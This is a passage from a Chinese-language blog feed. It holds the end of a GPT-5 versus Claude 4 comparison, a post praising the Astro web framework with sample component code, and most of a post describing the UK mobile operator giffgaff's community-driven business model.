<li><strong>端到端软件工程与自动化代理</strong>（代码生成、持续集成自动化、复杂重构）。优先试用 Claude 4（Opus）。理由：长任务稳定性与详尽交付物。</li>
<li><strong>高合规/审计需求</strong>（金融、医疗、法规文件处理）。两者都需在私有部署、日志与人机审查上做补强。比较时把“可解释性、审计链、数据驻留”作为首要评估维度。</li>
</ul><hr /></section><section><h2>六、长期战略与研究方向（五年视角）<a href="#六长期战略与研究方向五年视角"><span>#</span></a></h2><ol>
<li><strong>混合专家系统将成为主流</strong>。未来不是单一模型独大，而是路由器式平台根据任务自动选择子模型或专家模块。</li>
<li><strong>代理化与工具生态决定落地速度</strong>。能否安全、可审计地管理长期代理将是企业竞争力的关键。</li>
<li><strong>事实性与合规成为硬指标</strong>。监管推动下，模型需提供可检验的事实来源与行为边界。企业应在 PoC 阶段就把审计链纳入评估。</li>
<li><strong>用户体验与迁移风险</strong>。模型更新带来的体验突变可能产生业务影响。供应商需要更温和的迁移策略与版本并存方案。</li>
</ol><hr /></section><section><h2>七、可操作的 PoC 设计（两项短清单）<a href="#七可操作的-poc-设计两项短清单"><span>#</span></a></h2><ol>
<li><strong>编码质量对比实验</strong>
<ul>
<li>任务：同一大型重构，要求提交代码、测试与 CI 脚本。</li>
<li>指标：功能正确率、回归测试通过率、需要人工干预次数、总执行时间。</li>
<li>目标：验证长期上下文下的连续性与可复现性。</li>
</ul>
</li>
<li><strong>代理化工作流稳定性实验</strong>
<ul>
<li>任务：定义一个多步代理（采集数据→分析→生成报告→修正流程），让模型以代理方式运行 24–72 小时。</li>
<li>指标：任务完成率、中间产物可审计性、资源使用、错误恢复能力。</li>
</ul>
</li>
</ol><hr /></section><section><h2>结论<a href="#结论"><span>#</span></a></h2><p>GPT-5 与 Claude 4 各有擅长。GPT-5 倾向于快速、通用、生态整合；Claude 4 在长任务、编码与代理上更稳。选择应基于任务特性、成本、合规与长期可控性。短期做 PoC，长期布局混合专家系统与可审计代理，是理性的路线。</p><hr /></section><section><h2>参考与延伸阅读<a href="#参考与延伸阅读"><span>#</span></a></h2><ul>
<li>OpenAI 关于 GPT-5 的官方信息。</li>
<li>Anthropic 关于 Claude 4 的系统卡与文档。</li>
<li>行业评测与报道。</li>
</ul></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/astro-framework-article/</id>
      <title type="text">我为什么开始用Astro来构建网站</title>
      <published>2025-08-25T00:00:00.000Z</published>
      <updated>2025-08-25T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/astro-framework-article/"/>
      <summary type="text">从传统SPA到Astro的使用体验分享，探讨Islands架构、零JavaScript策略以及在实际项目中的应用感受</summary>
      <content type="html"><![CDATA[<section><h1>我为什么开始用Astro来构建网站<a href="#我为什么开始用astro来构建网站"><span>#</span></a></h1><div><div><div></div><div>开篇思考</div></div><div><p>当我们谈论现代Web开发时，总会遇到一个老生常谈的问题：为什么我们的网站越来越慢？明明只是展示一些文字和图片，却要加载几百KB的JavaScript代码。Astro的出现，让我重新思考了这个问题。</p></div></div><p>在JavaScript框架百花齐放的今天，一个新的声音正在改变游戏规则。Astro不是另一个试图重新发明轮子的框架，而是一个敢于质疑”为什么我们需要在客户端运行这么多JavaScript”的革命者。</p><section><h2>零JavaScript的哲学思考<a href="#零javascript的哲学思考"><span>#</span></a></h2><div><div><div></div><div>传统框架的问题</div></div><div><p>传统的SPA框架默认会将整个应用打包成JavaScript，即使是静态内容也要通过JavaScript渲染。这导致了不必要的性能开销。</p></div></div><p>Astro最让人印象深刻的特点就是它的”零JavaScript默认”策略。这听起来有些反直觉——在一个JavaScript主导的时代，怎么能说零JavaScript呢？</p><p>但仔细想想，我们真的需要用JavaScript来渲染一个博客文章吗？需要用React来显示一个产品介绍页面吗？Astro给出了一个明确的答案：<strong>不需要</strong>。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>// 这段代码只在构建时运行，不会发送到客户端</span></div></div><div><div><div>3</div></div><div><span>const</span><span> </span><span>posts</span><span> </span><span>=</span><span> </span><span>await</span><span> </span><span>fetch</span><span>(</span><span>'/api/posts'</span><span>).</span><span>then</span><span><span>(</span><span>r</span><span> </span></span><span>=&gt;</span><span><span> </span><span>r</span><span>.</span></span><span>json</span><span>());</span></div></div><div><div><div>4</div></div><div><span>const</span><span> </span><span>title</span><span> </span><span>=</span><span> </span><span>"我的博客"</span><span>;</span></div></div><div><div><div>5</div></div><div><span>---</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>&lt;</span><span>html</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;</span><span>head</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>&lt;</span><span>title</span><span>&gt;</span><span>{</span><span>title</span><span>}</span><span>&lt;/</span><span>title</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>&lt;/</span><span>head</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>&lt;</span><span>body</span><span>&gt;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>&lt;</span><span>h1</span><span>&gt;</span><span>{</span><span>title</span><span>}</span><span>&lt;/</span><span>h1</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span>    </span><span>{</span><span>posts</span><span>.</span><span>map</span><span><span>(</span><span>post</span><span> </span></span><span>=&gt;</span><span> (</span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>&lt;</span><span>article</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>&lt;</span><span>h2</span><span>&gt;</span><span>{</span><span>post</span><span>.</span><span>title</span><span>}</span><span>&lt;/</span><span>h2</span><span>&gt;</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>&lt;</span><span>p</span><span>&gt;</span><span>{</span><span>post</span><span>.</span><span>excerpt</span><span>}</span><span>&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>17</div></div><div><span><span>      </span></span><span>&lt;/</span><span>article</span><span>&gt;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>))</span><span>}</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>20</div></div><div><span>&lt;/</span><span>html</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这种方式的好处显而易见：页面加载速度极快，SEO友好，而且用户体验接近传统的静态网站。</p></section><section><h2>Islands架构：精准的交互控制<a href="#islands架构精准的交互控制"><span>#</span></a></h2><blockquote><p>[!INFO] 什么是Islands架构？</p><p>Islands架构是一种将页面看作”静态HTML海洋中的交互岛屿”的设计模式。只有真正需要交互的组件才会被注水(hydrate)。</p></blockquote><p>当然，现代网站完全没有交互是不现实的。Astro的解决方案是Islands架构<sup><a href="#user-content-fn-1">1</a></sup>，这个概念简直是天才级的设计。</p><p>想象你的网页是一片平静的海洋，大部分区域都是静态的HTML。但在某些地方，有一些小岛——这些就是需要交互的组件。只有这些小岛才会加载和运行JavaScript。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>import</span><span> </span><span>Counter</span><span> </span><span>from</span><span> </span><span>'./Counter.react.jsx'</span><span>;</span></div></div><div><div><div>3</div></div><div><span>import</span><span> </span><span>Newsletter</span><span> </span><span>from</span><span> </span><span>'./Newsletter.vue'</span><span>;</span></div></div><div><div><div>4</div></div><div><span>---</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>&lt;</span><span>main</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>&lt;</span><span>h1</span><span>&gt;欢迎来到我的网站&lt;/</span><span>h1</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;</span><span>p</span><span>&gt;这段文字是静态的，不需要JavaScript&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>  </span><span>&lt;!-- 只有这个计数器组件会加载JavaScript --&gt;</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>&lt;</span><span>Counter</span><span> </span><span>client:load</span><span> /&gt;</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>&lt;</span><span>p</span><span>&gt;这里又是静态内容&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>  </span><span>&lt;!-- 这个表单只在用户需要时才加载 --&gt;</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>&lt;</span><span>Newsletter</span><span> </span><span>client:visible</span><span> /&gt;</span></div></div><div><div><div>17</div></div><div><span>&lt;/</span><span>main</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这种精准控制让我想起了军事行动中的”精确打击”——不浪费一颗子弹，每个资源都用在刀刃上。</p></section><section><h2>组件生态的大一统<a href="#组件生态的大一统"><span>#</span></a></h2><div><div><div></div><div>框架无关的优势</div></div><div><p>你可以在同一个项目中混合使用React、Vue、Svelte等不同框架的组件，Astro会处理好它们之间的协调工作。</p></div></div><p>作为一个在不同项目中使用过React、Vue、Svelte的开发者，我最头疼的就是组件无法复用。在React项目中写的组件，到了Vue项目就得重写。</p><p>Astro解决了这个痛点。它支持多框架组件的混合使用：</p>
点击查看多框架组件示例<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>import</span><span> </span><span>ReactButton</span><span> </span><span>from</span><span> </span><span>'./Button.react.jsx'</span><span>;</span></div></div><div><div><div>3</div></div><div><span>import</span><span> </span><span>VueModal</span><span> </span><span>from</span><span> </span><span>'./Modal.vue'</span><span>;</span></div></div><div><div><div>4</div></div><div><span>import</span><span> </span><span>SvelteChart</span><span> </span><span>from</span><span> </span><span>'./Chart.svelte'</span><span>;</span></div></div><div><div><div>5</div></div><div><span>---</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>&lt;</span><span>main</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;</span><span>ReactButton</span><span> </span><span>client:load</span><span>&gt;点击我&lt;/</span><span>ReactButton</span><span>&gt;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>&lt;</span><span>VueModal</span><span> </span><span>client:idle</span><span> /&gt;</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>&lt;</span><span>SvelteChart</span></div></div><div><div><div>13</div></div><div><span>    </span><span>client:visible</span></div></div><div><div><div>14</div></div><div><span>    </span><span>data</span><span>=</span><span>{</span><span>chartData</span><span>}</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>/&gt;</span></div></div><div><div><div>16</div></div><div><span>&lt;/</span><span>main</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这种灵活性让团队可以：</p><ul>
<li> 逐步迁移现有组件</li>
<li> 选择最适合特定任务的框架</li>
<li> 复用开源社区的组件</li>
<li> 降低技术栈锁定风险</li>
</ul></section><section><h2>构建性能的艺术<a href="#构建性能的艺术"><span>#</span></a></h2><div><div><div></div><div>构建优化策略</div></div><div><p>Astro在构建时进行激进的优化，包括自动的代码分割、CSS内联、图片优化等，这些都是开箱即用的。</p></div></div><p>在性能优化方面，Astro可以说是做到了极致。我曾经花费大量时间配置Webpack、优化打包体积，而Astro让这一切变得简单。</p><p><strong>自动优化特性</strong>：</p><p>Bundle splitting
: 自动将代码分割成最优的chunks</p><p>CSS optimization<br />
: 自动提取和内联关键CSS</p><p>Image optimization
: 内置的图片压缩和格式转换</p><p>Tree shaking
: 激进的无用代码删除</p><p>这些优化都是自动进行的，不需要复杂的配置。我记得第一次看到Astro构建输出的时候，那种”怎么可能这么小”的震惊感。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 典型的构建输出</span></div></div><div><div><div>2</div></div><div><span>dist/</span></div></div><div><div><div>3</div></div><div><span>├──</span><span> </span><span>index.html</span><span>           </span><span># 12KB</span></div></div><div><div><div>4</div></div><div><span>├──</span><span> </span><span>about.html</span><span>          </span><span># 8KB</span></div></div><div><div><div>5</div></div><div><span>├──</span><span> </span><span>assets/</span></div></div><div><div><div>6</div></div><div><span>│</span><span>   </span><span>├──</span><span> </span><span>index.js</span><span>        </span><span># 2KB (仅交互组件)</span></div></div><div><div><div>7</div></div><div><span>│</span><span>   </span><span>└──</span><span> </span><span>styles.css</span><span>      </span><span># 4KB</span></div></div><div><div><div>8</div></div><div><span>└──</span><span> </span><span>images/</span><span>             </span><span># 自动优化的图片</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>开发体验的贴心设计<a href="#开发体验的贴心设计"><span>#</span></a></h2><p>作为开发者，我们都知道好的DX（开发体验）有多重要。Astro在这方面的考虑非常周到。</p><p><strong>智能的热重载</strong>：</p><ul>
<li>修改样式时，页面不会刷新，只会更新样式</li>
<li>修改组件时，保持组件状态的同时更新内容</li>
<li>TypeScript支持开箱即用</li>
</ul><p><strong>直观的错误提示</strong>：</p><blockquote><p>[!DANGER] 错误处理示例</p><p>当组件出错时，Astro会显示详细的错误信息，包括具体的行号和修复建议，而不是晦涩难懂的堆栈跟踪。</p></blockquote><p><strong>内置的开发工具</strong>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>---</span></div></div><div><div><div>2</div></div><div><span>// 开发环境下的调试信息</span></div></div><div><div><div>3</div></div><div><span>if</span><span> (</span><span>import</span><span>.</span><span>meta</span><span>.</span><span>env</span><span>.</span><span>DEV</span><span>) {</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'当前页面数据:'</span><span><span>, </span><span>Astro</span><span>.</span></span><span>props</span><span>);</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span>---</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>SEO天然优势<a href="#seo天然优势"><span>#</span></a></h2><div><div><div></div><div>SEO最佳实践</div></div><div><p>由于Astro生成的是真正的HTML，搜索引擎可以直接索引内容，无需等待JavaScript执行。这对SEO来说是巨大优势。</p></div></div><p>在SEO方面，Astro简直是降维打击。当SPA还在为首屏白屏、爬虫无法索引而苦恼时，Astro网站已经在搜索结果中名列前茅了。</p><p><strong>SEO优势对比</strong>：</p><p>传统SPA
: 需要SSR配置，爬虫可能无法正确索引动态内容</p><p>Next.js/Nuxt.js
: 虽然支持SSR，但配置复杂，运行时开销较大</p><p>Astro
: 天然生成静态HTML，爬虫友好，加载速度极快</p><p>我曾经将一个React网站迁移到Astro，仅仅是这个改变就让Google PageSpeed Insights的评分从65提升到了98。</p></section><section><h2>实际应用场景分析<a href="#实际应用场景分析"><span>#</span></a></h2><div><div><div></div><div>选择框架的考虑</div></div><div><p>虽然Astro很优秀，但并不是所有项目都适合。需要根据实际需求来判断。</p></div></div><p><strong>最适合Astro的项目类型</strong>：</p><p><kbd>内容驱动</kbd>的网站</p><ul>
<li>博客和新闻网站</li>
<li>公司官网</li>
<li>文档站点</li>
<li>电商产品页面</li>
</ul><p><kbd>营销导向</kbd>的页面</p><ul>
<li>Landing页面</li>
<li>活动宣传页</li>
<li>品牌展示站</li>
</ul><p><strong>需要谨慎考虑的场景</strong>：</p><p>复杂的Web应用</p><ul>
<li>大量实时交互的应用</li>
<li>复杂的状态管理需求</li>
<li>频繁的数据同步</li>
</ul><p>但即使是这些场景，Astro也可能是部分页面的好选择。比如在一个复杂的SaaS应用中，landing页面、帮助文档、博客等部分完全可以用Astro来构建。</p></section><section><h2>与竞品的理性对比<a href="#与竞品的理性对比"><span>#</span></a></h2><blockquote><p>[!INFO] 框架选择建议</p><p>选择框架应该基于项目需求，而不是技术偏好。每个框架都有自己的适用场景。</p></blockquote><p><strong>Astro vs Next.js</strong>：</p>

<table><thead><tr><th>方面</th><th>Astro</th><th>Next.js</th></tr></thead><tbody><tr><td>静态站点</td><td>⭐⭐⭐⭐⭐</td><td>⭐⭐⭐</td></tr><tr><td>复杂应用</td><td>⭐⭐</td><td>⭐⭐⭐⭐⭐</td></tr><tr><td>学习曲线</td><td>⭐⭐⭐⭐</td><td>⭐⭐⭐</td></tr><tr><td>性能</td><td>⭐⭐⭐⭐⭐</td><td>⭐⭐⭐⭐</td></tr></tbody></table><p><strong>实际选择建议</strong>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>-</span><span> 内容为主的网站 → Astro</span></span></div></div><div><div><div>2</div></div><div><span><span>-</span><span> 需要大量用户交互 → Next.js/Nuxt.js</span></span></div></div><div><div><div>3</div></div><div><span><span>-</span><span> 团队已有React经验且时间紧急 → Next.js</span></span></div></div><div><div><div>4</div></div><div><span><span>-</span><span> 追求极致性能和SEO → Astro</span></span></div></div><div><div><div>5</div></div><div><span><span>-</span><span> 需要复杂的服务端逻辑 → Full-stack框架</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>学习成本和迁移策略<a href="#学习成本和迁移策略"><span>#</span></a></h2><div><div><div></div><div>迁移建议</div></div><div><p>从现有框架迁移到Astro可以采用渐进式策略，先从静态页面开始，逐步扩展。</p></div></div><p>学习Astro的成本相对较低，特别是如果你已经熟悉React或Vue的话。Astro组件的语法和JSX非常相似，主要的学习重点在于理解Islands架构的思想。</p><p><strong>迁移检查清单</strong>：</p><ul>
<li> 分析现有页面的交互复杂度</li>
<li> 识别可以静态化的内容</li>
<li> 评估现有组件的复用性</li>
<li> 制定渐进式迁移计划</li>
<li> 准备性能监控和对比</li>
</ul><p>我的经验是，可以先选择一个相对独立的页面（比如About页面）来试水，熟悉Astro的开发流程后再考虑更大规模的迁移。</p></section><section><h2>未来展望与思考<a href="#未来展望与思考"><span>#</span></a></h2><div><div><div></div><div>技术趋势观察</div></div><div><p>Astro代表了一种回归本质的思考：网站应该快速、简单、可访问。这种理念正在影响整个前端生态。</p></div></div><p>Astro的出现让我重新思考了Web开发的本质。在追求复杂架构和新技术的路上，我们是否忘记了网站的根本目的——快速、可靠地向用户传递信息？</p><p>从性能数据来看，Astro网站的平均加载时间比传统SPA快40-60%，这不仅仅是技术指标的提升，更是用户体验的根本改善。</p><p><strong>技术发展趋势</strong>：</p><p>Static-first思想
: 越来越多的框架开始采用类似的理念</p><p>Edge computing
: 配合CDN和边缘计算，静态站点的优势会更加明显</p><p>Web Performance
: 性能优化从可选项变成必需品</p><p>Progressive enhancement
: 渐进式增强的理念重新受到关注</p></section><section><h2>结语<a href="#结语"><span>#</span></a></h2><p>Astro不是万能药，但它为我们提供了一个新的视角：<strong>不是所有的网站都需要成为应用，不是所有的内容都需要JavaScript</strong>。</p><p>在这个框架满天飞的时代，Astro提醒我们回到初心——构建快速、可访问、用户友好的网站。它证明了有时候，<strong>少即是多</strong>的哲学在技术领域同样适用。</p><div><div><div></div><div>最后的建议</div></div><div><p>如果你正在考虑新项目的技术选型，或者对现有网站的性能不满意，不妨试试Astro。它可能会改变你对现代Web开发的认知。</p></div></div><p>对于前端开发者来说，Astro不仅仅是一个工具，更是一种思维方式的转变。在这个快速变化的技术世界中，有时候最大的创新就是回到最简单的解决方案。</p><hr /></section></section>
<section><h2>Footnotes<a href="#footnote-label"><span>#</span></a></h2>
<ol>
<li>
<p>Islands架构的概念最初由Etsy的Katie Sylor-Miller提出，后来被Jason Miller进一步发展和推广。 <a href="#user-content-fnref-1">↩</a></p>
</li>
</ol>
</section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/giffgaff_article/</id>
      <title type="text">giffgaff：一家不一样的英国手机运营商</title>
      <published>2025-08-20T00:00:00.000Z</published>
      <updated>2025-08-20T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/giffgaff_article/"/>
      <summary type="text">深入了解giffgaff独特的社区驱动运营模式，以及它如何通过创新的商业理念在英国移动通信市场中脱颖而出</summary>
      <content type="html"><![CDATA[<section><h1>giffgaff：一家不一样的英国手机运营商<a href="#giffgaff一家不一样的英国手机运营商"><span>#</span></a></h1><section><h2>目录<a href="#目录"><span>#</span></a></h2><ol>
<li><a href="#%E5%BC%95%E8%A8%80%E9%A2%A0%E8%A6%86%E4%BC%A0%E7%BB%9F%E7%9A%84%E7%A7%BB%E5%8A%A8%E8%BF%90%E8%90%A5%E5%95%86">引言：颠覆传统的移动运营商</a></li>
<li><a href="#%E5%85%AC%E5%8F%B8%E8%83%8C%E6%99%AF%E4%B8%8E%E5%8F%91%E5%B1%95%E5%8E%86%E7%A8%8B">公司背景与发展历程</a></li>
<li><a href="#%E7%8B%AC%E7%89%B9%E7%9A%84%E7%A4%BE%E5%8C%BA%E9%A9%B1%E5%8A%A8%E5%95%86%E4%B8%9A%E6%A8%A1%E5%BC%8F">独特的社区驱动商业模式</a></li>
<li><a href="#%E6%9C%8D%E5%8A%A1%E4%BA%A7%E5%93%81%E4%BD%93%E7%B3%BB">服务产品体系</a></li>
<li><a href="#%E6%8A%80%E6%9C%AF%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD">技术基础设施</a></li>
<li><a href="#%E7%94%A8%E6%88%B7%E4%BD%93%E9%AA%8C%E5%88%9B%E6%96%B0">用户体验创新</a></li>
<li><a href="#%E5%B8%82%E5%9C%BA%E5%BD%B1%E5%93%8D%E4%B8%8E%E7%AB%9E%E4%BA%89%E4%BC%98%E5%8A%BF">市场影响与竞争优势</a></li>
<li><a href="#%E6%80%BB%E7%BB%93%E4%B8%8E%E6%9C%AA%E6%9D%A5%E5%B1%95%E6%9C%9B">总结与未来展望</a></li>
</ol><hr /></section><section><h2>引言：颠覆传统的移动运营商<a href="#引言颠覆传统的移动运营商"><span>#</span></a></h2><p>在英国竞争激烈的移动通信市场中，giffgaff以其独特的商业模式和创新理念脱颖而出，成为移动虚拟网络运营商（MVNO）领域的佼佼者。自2009年成立以来，giffgaff摒弃了传统电信运营商的经营方式，采用完全基于社区驱动的商业模式，不仅为用户提供了灵活多样的移动通信服务，更重新定义了用户与运营商之间的关系。</p><p>与传统运营商依赖庞大的客服团队和遍布全国的实体店不同，giffgaff将用户转变为服务的共同创造者和维护者，通过独创的”payback”奖励机制和活跃的在线社区，成功构建了一个自我维持、不断发展的生态系统。这种模式不仅大幅降低了运营成本，还为用户带来了更加个性化和灵活的服务体验。</p></section><section><h2>公司背景与发展历程<a href="#公司背景与发展历程"><span>#</span></a></h2><p>giffgaff于2009年正式推出，是西班牙电信巨头Telefónica旗下O2英国公司的全资子公司。尽管隶属于传统电信集团，但giffgaff从成立之初就确立了与母公司截然不同的经营理念和运作方式。</p><p>公司名称”giffgaff”源自苏格兰方言，意为”互相给予”或”公平交易”，这一命名完美诠释了公司的核心价值观——通过用户之间的相互帮助和支持来创造价值。这种理念不仅体现在公司的服务模式中，更贯穿于整个企业文化和用户关系的构建过程。</p><p>在成立后的十多年里，giffgaff逐步发展成为英国最受欢迎的MVNO之一，用户数量持续增长，服务质量不断提升。公司始终坚持其创新的商业模式，即使在市场竞争日趋激烈的环境下，也没有偏离最初的发展轨道。</p></section><section><h2>独特的社区驱动商业模式<a href="#独特的社区驱动商业模式"><span>#</span></a></h2><p>giffgaff最引人注目的特色在于其完全基于社区的运营模式，这种模式在全球电信行业中都极为罕见。</p><section><h3>无实体店铺运营<a href="#无实体店铺运营"><span>#</span></a></h3><p>与传统运营商不同，giffgaff没有任何实体店铺，所有业务都通过在线平台完成。用户可以通过官方网站购买SIM卡、选择套餐、管理账户，以及处理各种服务需求。这种纯在线运营模式不仅大幅降低了租金、人工等固定成本，还使公司能够将节省的资金用于改善服务质量和用户体验。</p></section><section><h3>社区支持系统<a href="#社区支持系统"><span>#</span></a></h3><p>giffgaff的客户支持完全依靠用户社区来实现。当用户遇到问题时，他们可以在官方社区论坛发布问题，由其他有经验的用户提供帮助和解决方案。这个系统的有效性令人惊讶——大部分技术问题和使用疑问都能够在短时间内得到解决。</p><p>社区论坛不仅是问题解决的平台，更是用户交流经验、分享使用心得的重要场所。从基本的网络设置到复杂的技术故障排除，社区成员们乐于分享自己的知识和经验，形成了一个知识共享的良性循环。</p></section><section><h3>Payback奖励机制<a href="#payback奖励机制"><span>#</span></a></h3><p>为了激励用户积极参与社区建设，giffgaff设计了独特的”payback”奖励系统。用户通过在社区论坛回答其他用户的问题、提供技术支持、推荐新用户等方式，可以获得相应的积分奖励。这些积分可以直接兑换成账户余额，用于支付月费或购买增值服务。</p><p>这种奖励机制创造了一个多赢的局面：用户通过帮助他人获得实际收益，giffgaff节省了大量客服成本，而整个社区的知识库也在不断丰富和完善。</p></section></section><section><h2>服务产品体系<a href="#服务产品体系"><span>#</span></a></h2><p>giffgaff的服务产品设计充分体现了灵活性和用户友好的特点。</p><section><h3>Goodybag套餐系统<a href="#goodybag套餐系统"><span>#</span></a></h3><p>公司的核心产品是名为”Goodybag”的月度套餐系统。这些套餐提供不同组合的通话时长、短信数量和数据流量，价格从每月几英镑到几十英镑不等。用户可以根据自己的使用习惯和预算需求选择最合适的套餐。</p><p>Goodybag的一个显著特点是其灵活性。用户可以随时更改套餐，无需签订长期合约，也不会产生额外费用。这种灵活性让用户能够根据生活或工作需求的变化及时调整服务计划。</p></section><section><h3>Pay As You Go选项<a href="#pay-as-you-go选项"><span>#</span></a></h3><p>除了月度套餐，giffgaff还提供传统的按需付费（Pay As You Go）服务。用户可以预充值到账户中，然后根据实际使用情况扣费。这种方式特别适合使用量不固定或较少的用户。</p></section><section><h3>数据Rollover功能<a href="#数据rollover功能"><span>#</span></a></h3><p>giffgaff还推出了数据余量结转功能，允许用户将当月未用完的数据流量结转到下个月使用。这项功能解决了用户对于流量浪费的担忧，提高了套餐的实际价值。</p></section></section><section><h2>技术基础设施<a href="#技术基础设施"><span>#</span></a></h2><p>虽然giffgaff是虚拟运营商，但其技术基础设施相当可靠。作为O2的子公司，giffgaff直接使用O2的网络基础设施，这意味着用户可以享受到与O2用户相同的网络覆盖范围和信号质量。</p><p>O2在英国拥有广泛的网络覆盖，包括城市、郊区和大部分农村地区。网络支持2G、3G、4G以及最新的5G技术，确保用户无论身处何地都能获得稳定可靠的通信服务。</p><p>此外，giffgaff的在线平台和移动应用程序也经过精心设计，用户界面友好，功能完善，支持账户管理、套餐选择、使用情况查询等各种操作。</p></section><section><h2>用户体验创新<a href="#用户体验创新"><span>#</span></a></h2><p>giffgaff在用户体验方面的创新主要体现在以下几个方面：</p><section><h3>简化的服务流程<a href="#简化的服务流程"><span>#</span></a></h3><p>从注册到使用，giffgaff的所有流程都力求简单直观。新用户只需在线订购SIM卡，收到后按照简单的激活步骤即可开始使用服务。整个过程通常不超过几分钟。</p></section><section><h3>透明的价格体系<a href="#透明的价格体系"><span>#</span></a></h3><p>公司的价格体系完全透明，没有隐藏费用或复杂的条款。所有套餐的价格、包含内容、有效期等信息都在官网上清楚列出，用户可以轻松比较和选择。</p></section><section><h3>自助服务平台<a href="#自助服务平台"><span>#</span></a></h3><p>用户可以通过在线平台或移动应用自主完成几乎所有服务操作，包括充值、换套餐、查看账单、联系客服等。这种自助服务模式不仅提高了效率，还让用户拥有更多控制权。</p></section><section><h3>活跃的社区文化<a href="#活跃的社区文化"><span>#</span></a></h3><p>giffgaff成功营造了一种友好、互助的社区文化。用户不仅仅是服务的消费者，更是社区的积极参与者。这种归属感和参与感是传统运营商难以复制的优势。</p></section></section><section><h2>市场影响与竞争优势<a href="#市场影响与竞争优势"><span>#</span></a></h2><p>giffgaff的成功对英国移动通信市场产生了深远影响，其创新模式也为整个行业树立了新的标杆。</p><section><h3>成本控制优势<a href="#成本控制优势"><span>#</span></a></h3><p>通过社区驱动的运营模式，giffgaff有效控制了运营成本，这使得公司能够提供更具竞争力的价格。与传统运营商相比，giffgaff的套餐价格通常更加优惠，为价格敏感的消费者提供了更好的选择。</p></section><section><h3>用户忠诚度<a href="#用户忠诚度"><span>#</span></a></h3><p>社区模式培养了用户强烈的归属感和忠诚度。许多用户不仅长期使用giffgaff的服务，还积极推荐给朋友和家人。这种口碑传播效应大大降低了公司的营销成本。</p></section><section><h3>服务响应速度<a href="#服务响应速度"><span>#</span></a></h3><p>尽管没有传统的客服团队，但giffgaff通过社区支持往往能够更快地解决用户问题。活跃的社区成员24小时在线，能够即时回应各种询问，这种响应速度甚至超过了许多传统运营商。</p></section><section><h3>灵活性优势<a href="#灵活性优势"><span>#</span></a></h3><p>无合约约束和灵活的套餐变更政策让giffgaff在竞争中占据优势地位。现代消费者越来越重视服务的灵活性，giffgaff的模式完美契合了这一需求趋势。</p></section></section><section><h2>总结与未来展望<a 